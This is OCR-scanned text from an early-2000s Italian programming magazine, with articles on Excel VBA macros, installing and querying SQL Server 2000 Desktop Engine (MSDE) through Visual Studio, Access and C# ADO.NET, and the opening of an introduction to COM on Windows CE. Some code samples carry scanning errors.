r& Per passare una 
J/ variabile da una 
procedura all'altra, è 
possible utilizzare la 
classica notazione Vi- 
sual Basic: si sichiara la 
variabile nella prima 
procedura e la si passa 
come argomento nel 
momento in cui si chia- 
ma la seconda proce- 
dura: 



Sub prolQ 

Dim vari As Integer 
vari = 33 
Cali pro2(varl) 
End Sub 



Sub pro2(varl) 

Range("Al").Value = vari 
End Sub 



http://www.itportal.it 



3 ►►► 49 




Excel 

eVBA 



Excel e VBA 

soluzioni ed 
esempi di codice 



Bibliografia "* 

• MANUALE DELLLO 

SVILUPPATORE DI 

MICROSOFT OFFICE XP 

DEVELOPER 

Microsoft Press 

(Mondadori 

Informatica) 

2001 



Problema 3 

Supponiamo di aver memorizzato dei codici alla fi- 
ne di una etichetta. Tali codici sono racchiusi tra pa- 
rentesi quadre: "nome etichetta [codice]". Vogliamo 
leggere i codici, eliminarli dalla colonna, lasciando- 
vi solo T etichetta, e riscriverli in una colonna a sé 
stante. 



Option Explicit 

Sub dividiCodiceQ 

' dividiCodice Macro 

' Scelta rapida da tastiera: CTRL+x 



8. Dim rng As Excel.Range 

9. Dim indice As Long 

10. Dim rngTmp As Range 

11. Dim divChar As String 

12. divChar = "[" 

13. For Each rngTmp In Application.Range("A:A") 

14. If (rngTmp.Value = "") Then 

15. Exit Sub 

16. End If 

17. Dim matriceQ As String 

18. Dim st As String 

19. st = rngTmp.Value 

20. matrice = Split(st, divChar) 

21. indice = UBound(matrice) 

22. If (indice > 0) Then 

23. st = divChar & matrice(indice) 

24. rngTmp.Offset(0, 2).Value = st 

25. Dim i As Long 

26. For i = LBound(matrice) To indice - 2 

27. matriceQ) = matriceQ) & divChar 

28. Next 

29. matrice(indice) = "" 

30. rngTmp.Value = Join(matrice) 

31. End If 

32. Next rngTmp 

33. End Sub 



rarela seconda stringa. Ritorna una matrice di strin- 
ghe. Esempio: 

Split ra#b#c","#") * [ "a", "b", "e" ]); 

(22) se non esisteva almeno una occorrenza del ca- 
rattere separatore, allora va alla prossima istruzione 
del ciclo, altrimenti (23) ricompone l'ultima parte 
della stringa con il carattare separatore e (24) lo as- 
segna alla cella che si trova due colonne dopo la cel- 
la attuale (Offset(riga, colonna) rispetto a quella at- 
tuale); (26-28) ricompone le stringhe precedenti (nel 
caso esistessero altre parti della stringa composte 
dal carattere separatre preseo in esame); (30) esegue 
l'operazione di Join tra stringhe. Essa è l'opposto 
dell'operazione di Split. Esempio: 

Join([ "a", "b", "e"]) * "abc"). 

Anziché copiare i valori su una colonna esistente, 
sarebbe possibile inserire una nuova colonna. 
Come? Per esempio in questo modo: 

Columns("B:B").Select 

Selection.Insert Shift: =xlToRight 

La prima istruzione seleziona la seconda colonna, la 
seconda istruzione inserisce una nuova colonna 
spostando (shift) a destra il resto del foglio di lavoro. 
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Fig. 6: Il risultato della macro dividiCodice() 
(Listato 4). 
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Fig. 5: La macro "colora" eseguita in data 16 
febbraio 2002, dopo aver selezionato la colonna "B" 



Analizziamo la soluzione proposta: (13) il ciclo av- 
viene prendendo in considerazione la prima colon- 
na; (20) viene usata la funzione Split: essa prende 
due argomenti (due stringhe): consdera la prima 
stringa e la divide usando come elemento da sepa- 



CONCLUSIONI 

Con questo articolo si è voluto dare un "assaggio" 
delle caratteristiche del VBA applicate ad Excel. 
U invito è quello di partire dagli esempi proposti 
per creare nuove funzionalità, approfondendo la 
propria conoscenza sia di VBA che di Excel. Sul 
CD allegato alla rivista potete trovare il documen- 
to vba.xls contenente dei dati di prova e le macro 
descritte nell'articolo. 

Nei prossimi mesi avremo modo di trattare anche 
altri argomenti legati alla programmazione VBA 
nei pacchetti Office: in modo particolare vedremo 
com'è possibile usare singole macro che facciano 
uso di funzionalità provenienti da pacchetti di- 
versi (Outlook, Word, Excel, Power Point e così 
via). 

Ivan Venuti 
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SQL Server 

2000 MICROSOFT DESKTOP ENGINE 



In questo articolo 

introdurremo Microsoft 

Desktop Engine, il motore di 

SQL Server 2000 disponibile 

sia per gli sviluppatori .NET sia 

per gli utenti Office. 



SQL Server è uno dei database relazionali più 
diffusi nell'ambito dei sistemi sviluppati su 
piattaforma Windows. Attualmente, l'ultima 
versione è quella denominata SQL Server 2000 di- 
sponibile in sette differenti edizioni. Si va dell'En- 
terprise Edition, che comprende tutte le feature ed i 
tool possibili, a versioni limitate, e più economiche, 
quali Standard, Personal, CE, Developer ed Evalua- 
tion, ognuna con le proprie caratteristiche ed indi- 
rizzate verso un particolare tipo d'utenza. L'edizio- 
ne minimale del database è chiamata SQL Server 
2000 Desktop Engine e rappresenta il solo motore 
di database di SQL Server. Questa edizione è libera- 
mente distribuibile, ma presenta alcune importanti 
limitazioni: 

• Non include alcuna interfaccia grafica per acce- 
dere ai database, creare cataloghi, tabelle, rela- 
zioni o stored procedure. Come vedremo, per le 
ordinarie operazioni sul database si dovrà ricor- 
rere ad altri prodotti come il Server Explorer di 
Visual Studio .NET oppure Microsoft Access. 

• La dimensione massima del database non può 
eccedere i 2 Gigabytes. 

• Non possono essere attive più di cinque con- 
nessioni contemporaneamente. Questo significa 
che al massimo cinque utenti - o meglio cinque 
transazioni - possono essere attive in un deter- 
minato momento. 

• Non supporta l'Analysis Service di SQL Server 
2000. 

A questo punto potrebbe sorgere la domanda: a chi 
può essere utile questa edizione di SQL Server? In 
realtà a differenti tipi d'utenza: sviluppatori di pic- 
coli progetti nei quali non sono memorizzati enor- 



mi mole di dati, studenti che vogliono fare espe- 
rienza con un DBMS reale quale SQL Server, crea- 
tori di applicazioni dimostrative distribuibili via In- 
ternet o su CD-Rom. Un'applicazione che accede ai 
dati attraverso il Desktop Engine è totalmente sca- 
labile: potrà funzionare in qualsiasi momento, sen- 
za bisogno di cambiare una riga di codice, con 
un'altra edizione di SQL Server più sofisticata. Sup- 
poniamo di sviluppare un'applicazione per una 
piccola azienda. Dopo il processo d'analisi, viene 
appurato che uno o al massimo due utenti accede- 
ranno contemporaneamente al sistema e che i dati 
da memorizzare saranno ampiamente al di sotto 
dei 2 Gigabyte. Bene, non c'è nessun motivo per 
non dover utilizzare il Desktop Engine. Se in futu- 
ro, gli utenti diventeranno più di cinque oppure i 
dati eccederanno i 2 Gygabyte, si potrebbe pensare 
di passare per esempio all'edizione Standard di 
SQL Server 2000. L'aggiornamento riguarderà solo 
il database e non la nostra applicazione. E bene pre- 
cisare, volendo essere pignoli, che SQL Server 2000 
Desktop Engine e MSDE non sono la stessa cosa. 
MSDE, ovvero Microsoft Data Engine è il motore di 
database distribuito con SQL Server 7 e che è stato 
sostituito appunto da SQL Server 2000 Desktop En- 
gine nella versione 2000. Però, visto che l'acronimo 
MSDE va bene anche per Microsoft Desktop Engi- 
ne, la comunità degli sviluppatori continua a chia- 
mare MSDE anche questa nuova versione. Noi ci 
adegueremo a questa convenzione. 



INSTALLARE MSDE 

MSDE è disponibile all'interno di Visual Studio 
.NET oppure in Office 2000. Installarlo è un'opera- 
zione non molto intuitiva e poco documentata. Se si 
possiede Visual Studio .NET, il file d'istallazione di 
MSDE può essere trovato all'interno della directory 
di Visual Studio (che solitamente è Programmi\Mi- 
crosoft Visual Studio .NET), nella directory Frame- 
workSDK\Samples\Setup\msde. Il programma da 
avviare è instmsde.exe. Se non trovare il file significa 
che quando avete installato Visual Studio .NET non 
avete specificato di installare anche SQL Server 
2000 Desktop Engine. In questo caso dovrete inseri- 
re il CD d'installazione di Visual Studio .NET e, at- 
traverso l'opzione "aggiungi componenti", chiedere 
di installare Microsoft Desktop Engine. Dopo avere 
eseguito instmsde.exe, MSDE sarà installato, ma per 
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Fig. 1: L'SQL Service Manager. 



poterlo utilizzare sarà necessario riavviare il siste- 
ma. Se tutto è andato bene, dopo il bootstrap di 
Windows, dovreste vedere l'icona dell'SQL Server 
Service Manager nella task bar del vostro sistema. 
Facendo doppio clic sull'icona apparirà la dialog di 
Fig. 1, nella quale è visualizzato il nome del server 
e il tipo di servizio (nell'esempio rispettivamente 
JOEHP\NetSDK e SQL Server, naturalmente il nome 
del server sulla vostra macchina sarà diverso). At- 
traverso questa dialog è possibile far partire il mo- 
tore di SQL Server, stopparlo oppure sospenderlo 
temporaneamente. Come è stato detto, è possibile 
anche installare MSDE anche se si possiede Office 
2000. In questo caso il file d'installazione instm- 
sde.exe si troverà nella directory \Sql\x86 \setup. 



IL SERVER EXPLORER 

Dopo aver installato MSDE, abbiamo due scelte: 
creare un database d'esempio oppure andare a bere 
qualcosa con gli amici al pub. Io sceglierei la secon- 
da, ma sono pagato per dare spiegazioni riguardo 
alla prima! Abbiamo già detto che MSDE non pre- 
senta alcuna interfaccia grafica per interagire con il 
database, dobbiamo quindi ricorrere ad un tool 
esterno. Un primo metodo può essere quello di usa- 
re il Server Explorer di Visual Studio .NET. Questo 
è un ottimo tool, ma solo chi ha Visual Studio .NET 
potrà usarlo. Per far partire il Server Explorer, è ne- 
cessario lanciare Visual Studio .NET è selezionare la 
voce di menù "Tools I Connect io a database ...". Ap- 
parirà una dialog che in pratica chiederà a quale da- 
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tabase vogliamo connetterci. C'è solo un problema, 
ancora non abbiamo creato un database, quindi 
questa dialog non ci sarà utile al momento. Possia- 
mo tranquillamente premere il bottone "Cancel". 
Sulla sinistra dovreste vedere la finestra relativa al 
Server Explorer (Fig. 2). Per creare un nuovo data- 
base si può cliccare con il tasto destro del mouse sul 
nodo "Data Connections " e selezionare "Create New 
SQL Database ..." dal relativo pop-up menù. Appa- 
rirà la dialog di Fig. 3 che consentirà di introdurre il 
nome del server (che deve essere lo stesso indicato 
dal Service Manager, nel mio caso JOEHP \NetSDK) 
e il nome del database. 



Server: 

New Database Name: 

(* Use Windows NT Irto 
C Use SQL Server Auth 

Login Nanne: 

Password: 
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Fig. 2: Il Server Explorer integrato in Visual Studio 
.NET. 



Fig. 3: La dialog per la creazione di un database. 

E' possibile utilizzare la Windows NT Integrated 
Security oppure l'SQL Server authentication, in 
quest'ultimo caso specificando login e password. 
Nell'esempio, creerò il database TESTMSDE utiliz- 
zando la Windows NT Integrated Security. Prima di 
premere "Ok", assicuratevi che il Service Manager 
sia attivo. Il database è quindi stato creato, dovreste 
essere in grado di vederlo come figlio del nodo "Da- 
ta Connections " nella finestra del Server Explorer. Da 
adesso in poi è possibile interagire sia con la strut- 
tura sia con i dati. Per esempio potremmo creare 
una nuova tabella. Per far questo bisogna espande- 
re il nodo del database TESTMSDE; appariranno 
dei nodi relativi alle tabelle, viste, stored procedure, 
funzioni e diagrammi. Selezionando il nodo "Table " 
con il tasto destro e scegliendo "New Table ..." dal 
pop-up menù, sarà possibile creare una nuova ta- 
bella. Potremmo creare, per esempio, la tabella Ar- 
ticolo di attributi codice e descrizione, come mostra- 
to in Fig. 4 e successivamente inserire qualche arti- 
colo d'esempio. Supponiamo adesso di chiudere Vi- 
sual Studio .NET e di uscire finalmente con gli ami- 
ci per andare a bere qualcosa. Al nostro ritorno po- 
tremmo voler nuovamente accedere al database TE- 
STMSDE. Quello che dobbiamo fare è lanciare Vi- 
sual Studio .NET e selezionare la voce di menù 
"Tools I Connect to a database ..." . Come abbiamo già 
detto, apparirà una dialog che chiederà a quale da- 
tabase vogliamo collegarci. Bisognerà specificare il 
nome del server e il nome del database. Inoltre sarà 
necessario indicare se usare Windows NT Integra- 
ted Security o altrimenti specificare una login e una 
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Fig. 4: Struttura della tabella Articolo 

password. Indicando come database TESTMSDE 
sarà possibile connetterci al database creato in pre- 
cedenza per modificarne la struttura, aggiungere 
dati, creare viste o stored procedure. 



MICROSOFT ACCESS 

Chi non ha Visual Studio .NET, ma vuole lo stesso 
usufruire di MSDE, può usare Microsoft Access 
2000 o 2002 per creare ed accedere ad un database 
SQL Server. Per creare un nuovo database è neces- 
sario avviare Access, selezionare la voce di menù 
"File I Nuovo " e successivamente la voce "Progetto 
(dati nuovi) ". Apparirà una finestra di dialogo che 
vi chiederà di dare un nome al nuovo progetto e di 
indicare la directory in cui crearlo. Da questo pun- 
to in poi un wizard vi guiderà nella creazione di un 
database SQL Server. In particolare vi sarà chiesto 
di specificare il nome del server, il nome del data- 
base e le specifiche di connessione (login, pas- 
sword, ecc.). Una volta che il database è creato, Ac- 
cess diventerà l'interfaccia utente per operare su un 
database SQL Server. È possibile anche convertire 
un database Access esistente in un database SQL 
Server 2000. Una volta avviato Access ed aver aper- 
to il database da convertire, dal menù "Strumen- 
ti I Utilità database" selezionate la voce "Upsize gui- 
dato ". Comparirà un wizard che vi guiderà lungo il 
processo di conversione del database dalla versio- 
ne Access alla versione SQL Server. Anche in que- 
sto caso, dopo aver convertito il database, si potrà 
usare Access come interfaccia grafica per interagire 
con un database SQL Server 2000. 

ACCEDERE A MSDE 
ATTRAVERSO APPLICAZIONI 

Fino ad ora abbiamo imparato ad accedere a MSDE 
attraverso un'interfaccia grafica, che può essere il 
Server Explorer di Visual Studio .NET oppure Mi- 
crosoft Access. Naturalmente, sarà possibile con- 
nettersi ad un database SQL Server 2000 anche at- 
traverso applicazioni. Il modo in cui ottenere una 
connessione varia a seconda del linguaggio e della 
piattaforma di sviluppo usata. Le applicazioni 



.NET, scritte in Visual Basic .NET, C#, Managed 
C++ o pagine ASP, possono accedere ad un databa- 
se SQL Server 2000 attraverso l'SQL Server .NET 
Data Provider fornito con ADO.NET. Tale provider è 
un driver, scritto secondo i canoni imposti dal Fra- 
mework .NET, che consente alle applicazioni .NET 
di interfacciarsi ad un qualsiasi database SQL Ser- 
ver 7 o 2000. Rientrano quindi sia MSDE sia SQL 
Server 2000 Desktop Engine. Le applicazioni scritte 
con in Visual Basic 6, Visual C++ 6 e Visual J++ do- 
vranno ricorrere all' OLEDB Provider per SQL Ser- 
ver utilizzato da ADO 2.7 o versioni precedenti. E' 
anche possibile usare Visual Basic e RDO, ma que- 
sto comporta l'utilizzo di un driver ODBC. 
I programmatori Java, possono accedere a SQL Ser- 
ver attraverso il "Microsoft SQL Server 2000 driver f or 
JDBC". Questo è un driver JDBC di tipo 4, scritto 
quindi interamente in Java, che può essere scarica- 
to dal sito Microsoft (vedi risorse). Purtroppo non 
abbiamo spazio sufficiente per mostrate un esem- 
pio di connessione per ogni metodologia descritta 
in questo paragrafo. Ci limiteremo a fornire un 
esempio utilizzando l'ultima tecnologia Microsoft 
per l'accesso ai dati, ovvero ADO.NET. 

CONNESSIONE A UN DB 
MSDE CON ADO.NET 

In questo paragrafo mostreremo come connettere 
un'applicazione .NET ad un database SQL Server 
attraverso l'SQL Server .NET Data Provider di 
ADO .NET. Il database sarà TESTMSDE, quello che 
abbiamo creato in precedenza nel quale è presente 
la tabella Articolo. Il linguaggio usato è C#, ma con 
facili modifiche sarà possibile ottenere gli equiva- 
lenti sorgenti Visual Basic .NET o Managed C++. 
Per usare l'SQL Server .NET Data Provider è neces- 
sario importare l'opportuno namespace, in questo 
modo: 

// Namespace per SQL Server .NET Data Provider 

using System. Data. SqlClient; 

Per ottenere la connessione al nostro database si 
può procedere nel seguente modo: 

using System.Data.SqlClient; 

SqlConnection con = new SqlConnectionQ; 

con.ConnectionString = 

"Initial Catalog=TESTMSDE;" + 

"Data Source=JOEHP\\NetSDK;" + 

"Workstation ID=JOEHP;"+ 

"Integrateci Security=SSPI"; 

con.Open(); 

Come si può notare tutto è molto semplice. L'og- 
getto con è ottenuto invocando il costruttore di Sql- 
Connection. Il passo successivo è quello di specifi- 
care una stringa di connessione. Infine si invoca il 
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metodo open che rende effettiva la connessione con 
il database. La stringa di connessione è il mezzo 
per informare l'oggetto Connection su dove ed in 
che modo deve avvenire la connessione. Nell'esem- 
pio abbiamo specificato che il catalogo iniziale, cioè 
il database, è TESTMSDE (proprietà Initial Catalog), 
il Server SQL è JOEHP\NetSDK (Data Source), la 
macchina su cui è installato SQL Server è JOEHP 
(Workstation) e vogliamo che si usi SSPI, vale a dire 
la Windows NT Integrated Security. In generale una 
stringa di connessione è caratterizzata da una se- 
quenza di informazioni, chiamate proprietà, utili al 
.NET Data Provider per ottenere la connessione stes- 
sa. Non esiste uno standard per tali informazioni, 
ogni provider può prevedere diverse proprietà. 
Quelle più comuni, usate da SQL Server, sono le se- 
guenti: 



Data Source 
(o DSN) 


Nome del Server è generalmente 
composto dal nome della macchina + 
istanza del server. Nel nostro esempio è 
JOEHPXNetSDK 


Initial Catalog 
(o DBQ) 


Nome del database 


Workstation 


Nome del computer nel quale è installato 
SQL Server 


User ID 


Nome dell'utente che richiede la 
connessione 


Password 


Password relativa all'utente che richiede 
la connessione 


Integrateci 
Security 


Tipo di sicurezza 


Connection 
Timeout 


È il tempo, espresso in secondi, entro cui 
il metodo open deve restituire una 
connessione valida. 



Dopo avere aperto la connessione è possibile invia- 
re comandi al database sottostante. L'oggetto Com- 
mand è il mezzo con cui ADO.NET dialoga con la 
fonte di dati. Consideriamo il seguente esempio: 

// Connessione 

SqlConnection con = new SqlConnectionQ; 

con.ConnectionString = 

"Initial Catalog=TESTMSDE;" + 

"Data Source=JOEHP\\NetSDK;" + 

"Workstation ID=JOEHP;"+ 

"Integrated Security=SSPI"; 

con.OpenQ; 

// Seleziona tutti gli articoli 

SqlCommand command = new SqlCommandQ; 

command.Connection = con; 

command.CommandText = "SELECT * FROM Articolo"; 
SqlDataReader reader = command .ExecuteReaderQ; 

Console. WriteLine("Lista Articoli\n"); 

while(reader.Read()){ 

int i = reader.GetOrdinal("codice"); 

Console.WriteLine("Codice : " + reader.GetString(i)); 

i = reader.GetOrdinal("descrizione"); 

Console.WriteLine("Descrizione: " + reader.GetString(i)); 
Console. Writel_ine(" "); 



> 

reader.CloseQ; 

con.Close(); 

Come si può notare, dopo aver utilizzato un ogget- 
to Connection per aprire la connessione, viene crea- 
to un nuovo oggetto SqlCommand chiamato com- 
mand. Successivamente, si assegna la variabile con 
alla proprietà Connection e la stringa "SELECT * 
FROM Articolo " alla proprietà CommandText. Prece- 
dendo in questo modo, abbiamo creato un oggetto 
Command in grado di effettuare una query di sele- 
zione sul database sottostante. La query a questo 
punto non è stata ancora inoltrata; per effettuare 
quest'operazione bisogna invocare uno dei metodi 
Execute presenti dell'oggetto Command. Nel nostro 
esempio è stato invocato ExecuteReader , il quale re- 
stituisce un oggetto SqlDataReader. Questa classe, 
che implementa IDataReader, è il mezzo che usa 
ADO.NET per scandire gli elementi risultanti da 
una query di selezione. Esso ha funzionalità di so- 
la lettura; inoltre è possibile scorrere i record solo in 
avanti (ready-only, formar d-only). Il metodo Read leg- 
ge il record successivo e restituisce false quando 
non ci sono più record da scorrere. Nel momento in 
cui Read viene invocato su un oggetto (reader nel 
nostro esempio), l'oggetto stesso diventa contenito- 
re dei dati provenienti dal record corrente. Come si 
può notare, nel ciclo zuhile vengono invocati due 
metodi di SqlDataReader: GetOrdinal e GetString. Il 
primo restituisce il "numero ordinale" (è un nume- 
ro unico) che identifica la colonna specificata dalla 
stringa in input. Nell'esempio le colonne sono codi- 
ce e descrizione, entrambe appartenenti alla tabella 
Articolo. Il secondo, avente in input il "numero or- 
dinale", restituisce il valore della colonna come 
stringa. E' importante precisare che è necessario in- 
vocare la versione opportuna di Get in base al tipo 
di dato della colonna. Nel caso in cui la colonna 
fosse stata un intero avremmo dovuto invocare Ge- 
tlntló o Getlnt32, nel caso di un numero a virgola 
mobile GetDouble e così via. L'esempio mostra la li- 
sta di tutti gli articoli presenti nel database con re- 
lativi codici e descrizioni. 



CONCLUSIONI 

In questo articolo è stato introdotto Microsoft SQL 
Server Desktop Engine, abbiamo visto come è pos- 
sibile accedere ad un database attraverso il Server 
Explorer di Visual Studio .NET o attraverso Micro- 
soft Access. Inoltre è stato mostrato un esempio di 
applicazione C# che, utilizzando ADO .NET, si 
connette ad un database SQL Server ed effettua una 
semplice query. Ribadiamo, che MSDE può essere 
una valida, economica e scalabile soluzione per 
realizzare sistemi, non molto complessi, basati su 
piattaforma Windows. 

Giuseppe Naccarato 
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LOGIC E SVILUPPO DI OGGETTI COM 
IN APPLICAZIONI PER WINDOWS CE 



Nella progettazione di una qualunque 

applicazione è importante seguire una 

metodologia orientata agli oggetti. 

L'utilizzo e la conoscenza della 

tecnologia COM consente di 

progettare moduli software capaci di 

arricchire le nostre applicazioni di 

importanti funzionalità, incontrando 

anche il requisito della modularità del 

software. Vediamo quali potenzialità 

sono disponibili in applicazioni per 

Windows CE. 



In questo articolo ci proponiamo di esplorare il 
mondo della tecnologia COM di Microsoft per ap- 
plicazioni in Windows CE. Il contenuto di tale la- 
voro è fondamentale soprattutto se si pensa che 
molte delle funzionalità di Windows CE sono disponi- 
bili nella forma di componenti COM. A tale proposito è 
importante comprendere i fondamenti della tecnologia 
COM nell'accezione di un sistema operativo quale 
Windows CE, non solo per trarre vantaggio dai com- 
ponenti già disponibili ma soprattutto per progettarne 
di propri al fine di mettere in atto funzionalità specifi- 
che degli applitivi da progettare. 
Concentreremo prima la nostra attenzione su una rivi- 
sitazione della architettura COM spiegando i motivi 
della importanza di tale tecnologia nella progettazione 
di una soluzione per Mobile Computing. Illustreremo 
come lavora COM e verrà spiegata la differenza della 
implementazione per Windows CE rispetto a quella 
per i sistemi Desktop. 

Nei due prossimi articoli che seguiranno e che rap- 
presentano la continuazione logica del presente, svi- 
lupperemo un semplice componente COM in Visual 
C++ con ATL e spiegheremo in modo intuitivo il codi- 
ce generato. Inoltre, verranno illustrati alcuni concetti 
più avanzati unitamente alla trattazione di controlli 
ActiveX per Windows CE e ne sarà progettato e 
implementato almeno uno subito pronto per le nostre 
applicazioni. 



MA L'IMPRESA 

È DAVVERO COSÌ ARDUA? 

Molti progettisti software, spesso hanno seri timori di 
entrare nel mondo della tecnologia COM. Tali timori 
sono in parte dovuti alla complessità della materia. E' 
anche vero che, molto spesso, la trattazione scientifica 
dell'argomento focalizza la sua attenzione su come 
costruire da zero un componente COM piuttosto che 
come lo si utilizzi. Dobbiamo puntualizzare che una 
volta che sono stati compresi alcuni fondamentali con- 
cetti e regole della tecnica di progettazione, usare com- 
ponenti COM diventa se non un gioco da ragazzi alme- 
no una impresa abbastanza fattibile. E' appena il caso 
di sottolineare che esiste molta confusione sulla termi- 
nologia e tecnologia COM. Molto spesso sentiamo par- 
lare di COM e ActiveX in modo indifferenziato, quasi si 
trattasse della stessa cosa e, infatti, i termini vengono 
usati come sinonimi. Diciamo subito che COM è una 
tecnologia che permette di creare componenti software 
riutilizzabili; il suo scopo principale è quello di permet- 
tere non solo ad applicazioni ma anche ad altri compo- 
nenti di comunicare con l'ausilio di un paradigma stan- 
dardizzato orientato ad oggetti. Per quanto concerne 
ActiveX, diciamo solo, per il momento, che essa è una 
tecnologia che utilizza COM. Avremo modo di 
approfondire ActiveX in Windows CE. 

ENTRIAMO NEL MONDO COM 

La tecnologia COM sta per Component Object Model, 
rappresenta quindi una specificazione su come proget- 
tare componenti. Le principali caratteristiche degli og- 
getti sono le seguenti: 

1 . Neutralità del linguaggio; 

2. Collegamento dinamico; 

3. Incapsulamento. 

Descriviamo subito le caratteristiche appena elencate. 

NEUTRALITÀ DEL LINGUAGGIO. 

Possiamo subito dire che un componente può essere 
scritto in qualunque linguaggio che supporti la tecnolo- 
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Interfacce 

y-S Una interfaccia 
't-J svolge una impor- 
tante funzione di colle- 
gamento tra due ogget- 
ti ben distinti che sono 
rappresentati dal client 
e dal componente COM 
o Server COM. In parti- 
colare, una interfaccia, 
rappresenta una defini- 
zione che contiene la 
lista delle funzioni e i 
parametri che essa ac- 
cetta. 



già COM. Inoltre, i servizi offerti dal componente pos- 
sono essere utilizzati in diversi linguaggi di program- 
mazione. Questa caratteristica è molto importante, se 
si pensa al caso di un linguaggio di programmazione 
che non supporti alcune funzionalità per lo sviluppo di 
un modulo specifico, oppure fosse di difficile imple- 
mentazione. In tal caso sarebbe auspicabile delegare 
l'implementazione del suddetto modulo ad un COM, 
scritto nel linguaggio di programmazione adeguato per 
lo scopo, e quindi utilizzato dalla applicazione di par- 
tenza. Quindi, se utilizzato in questa logica, si eviden- 
zia la interoperabilità tra applicazioni e componenti 
COM indipendentemente dal sistema in cui essi risie- 
dono. 



COLLEGAMENTO DINAMICO 

L'altra caratteristica che prendiamo in esame è il colle- 
gamento dinamico. Una applicazione può collegarsi 
dinamicamente ad un componente COM ospitato in 
una DLL. Nello scenario appena descritto sia l'applica- 
zione che il sistema operativo attuano una stretta colla- 
borazione al fine di rilevare l'oggetto. E' appena il caso 
di evidenziare che la tecnologia COM fornisce tutti i 
meccanismi per il controllo che il processo di collega- 
mento si svolga in maniera corretta. In Fig. 1 . sono rap- 
presentati gli elementi che concorrono al processo di 
collegamento dinamico. Come avviene per i sistemi 
operativi desktop di Windows, anche in Windows CE 
3.0 è fondamentale che ogni oggetto COM sia registra- 
to nel sistema operativo di utilizzo. Le informazioni della 
registrazione vengono memorizzate nel registro di con- 
figurazione di Windows CE. Nel registro in questione, 
ogni oggetto viene univocamente identificato da una 
struttura denominata ClassID di tipo GUID (Global 
Unlque Identifier). L'importanza dell'identificativo uni- 
versale ClassID risiede nel fatto che quando un client 
richiede il collegamento dinamico ad un oggetto COM 
registrato nel sistema operativo Windows CE, esso uti- 
lizza proprio questa informazione per il rilevamento del- 
l'oggetto. Dalla Fig. 1 . si evidenzia il ruolo fondamenta- 
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Fig. 1: Entità concorrenti al collegamento dinamico. 



le svolto dalla libreria runtime COM. Infatti, quest'ultima 
permette ai client di rilevare e creare istanze di compo- 
nenti COM. In particolare, la libreria runtime COM si 
occupa della ricerca del percorso del COM nella por- 
zione del registro HKEY_CLASSES_ROOT\raw\\e l'in- 
formazione del ClassID ricevuto dal client. Tale ricerca 
può avere esito positivo oppure negativo, nel qual caso 
viene segnalato un errore al client. Se invece la ricerca 
ha avuto esito positivo, la runtime COM si preoccupa di 
creare una istanza dell'oggetto e di fornire al client un 
puntatore all'interfaccia dell'oggetto. Tra poco appro- 
fondiremo il discorso delle interfacce, ma già da ora 
occorre sapere che esse sono delle entità o manifesti 
che permettono di esportare all'esterno i servizi e le 
funzionalità offerte dall'oggetto. Il puntatore all'interfac- 
cia permette al client di richiamare le funzioni del com- 
ponente. 



INCAPSULAMENTO 

La caratteristica della "incapsulamento" di COM per- 
mette di evidenziare un particolare pattern utilizzato in 
questa tecnologia. Infatti, un componente COM imple- 
menta una o più interfacce. Una interfaccia svolge una 
importante funzione di collegamento tra due oggetti 
ben distinti che sono rappresentati dal client e dal com- 
ponente COM o Server COM. In particolare, una inter- 
faccia, rappresenta una definizione che contiene la lista 
delle funzioni e i parametri che essa accetta. Un com- 
ponente COM avrà la responsabilità di implementare 
l'interfaccia fornendo la effettiva implementazione di 
ogni funzione. In questo pattern che attiene alla pro- 
gettazione di un oggetto in genere, in cui separiamo la 
logica di dichiarazione da quella dell'implementazione 
o definizione, possiamo notare come una interfaccia 
possa essere implementata da diversi componenti 
oppure, in modo equivalente, ad una stessa interfaccia 
possono essere associate diverse implementazioni. In 
ogni caso qualunque applicazione client non ha alcuna 
conoscenza dei dettagli dell'implementazione del com- 
ponente. Inoltre, al client vengono nascoste le strutture 
dati e il linguaggio utilizzati. Il client non si accorge 
neanche se i dettagli della implementazione dovessero 
cambiare. Tutti questi aspetti sono caratteristici del con- 
cetto della incapsulamento 

INTERFACCE 

E COMPONENTI COM 

Cerchiamo di comprendere in modo più preciso quale 
sia il ruolo svolto dalle interfacce nella tecnologia COM. 
Abbiamo detto che un client può accedere ai servizi del 
componente utilizzando una o più interfacce. Una inter- 
faccia è un raggruppamento logico di metodi identifica- 



56 ►►► G e 



http://www.itportal.it 





IFirstlnterface 


MyObject Component 

IUnknown 

CL SID MYOBJECT 

' 1 


J 

ISecondlnterface 





Fig. 2: Schematizzazione di un componente COM di 
esempio. 



ti da un GUID, che in questo caso prende il nome di IID 
(Interface Identifier). 

Nella fase di creazione di un oggetto, l'applicazione 
client riceve dal runtime COM un puntatore alla inter- 
faccia del componnente COM. Tale puntatore di inter- 
faccia rimanda ad una tabella di puntatori a funzione, 
nota come vTable , tramite la quale si accede ai servizi 
implementati. A scopo esemplificativo in Fig. 2. è rap- 
presentata la schematizzazione di un componente 
COM di nome MyObject e Classici CLSID_MYOB- 
JECT, il quale espone due interfacce IFirstlnterface e 
ISecondlnterface. Le due interfacce sono univocamen- 
te determinate dai propri IID, ovvero IID_FIRSTINTER- 
FACEe IID_SECONDINTERFACE Nella stessa figura 
notiamo l'oggetto lUnknow, che rappresenta l'interfac- 
cia che ogni componente COM deve sempre imple- 
mentare. Naturalmente abbiamo ipotizzato che le inter- 
facce abbiano dei metodi che il componente debba 
implementare. La schematizzazione precedente ha il 
solo scopo di illustrare come sia visto un componente 
dal mondo esterno, ovvero come una black-box men- 
tre il canale di comunicazione preferenziale è rappre- 
sentato dalle interfacce che implementa. Spendiamo 
qualche parola sulla interfaccia IUnknown. Ribadiamo 
che essa deve essere implementata da ciascun com- 
ponente COM. In particolare, essa ha tre metodi che 
devono essere implementati. Con l'implementazione 
del primo di tali metodi, QuerylnterìaceQ, si acquisisce 
il puntatore a qualunque interfaccia supportata dall'og- 
getto. Gli altri due metodi da implementare sono Ad- 
drefQ e ReleaseQ. Per comprendere a pieno la logica 
di questi due metodi occorre fare delle considerazioni 
preliminari sull'utilizzo dei componenti COM. Una sin- 
gola istanza di un oggetto COM può soddisfare le 
richieste di un numero di client diversi, per cui è neces- 
sario tenere il conteggio dei client che in ogni momen- 
to sono connessi al Server COM. Tale informazione è 
memorizzata in un campo di dati privato e su di esso 
agiscono i due metodi AddrefQ e ReleaseQ. In partico- 
lare, AddrefQ incrementa il conteggio di riferimento, 
mentre ReleaseQ lo decrementa. Un'istanza del com- 
ponente COM potrà essere eliminata solo quando il 
conteggio di riferimento avrà raggiunto il valore zero. In 
tal caso non si avranno client connessi al server COM 
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Fig. 3: La vTable di un componente. 

e l'istanza potrà essere eliminata dalla memoria. In Fig. 
3. possiamo vedere una schematizzazione di principio 
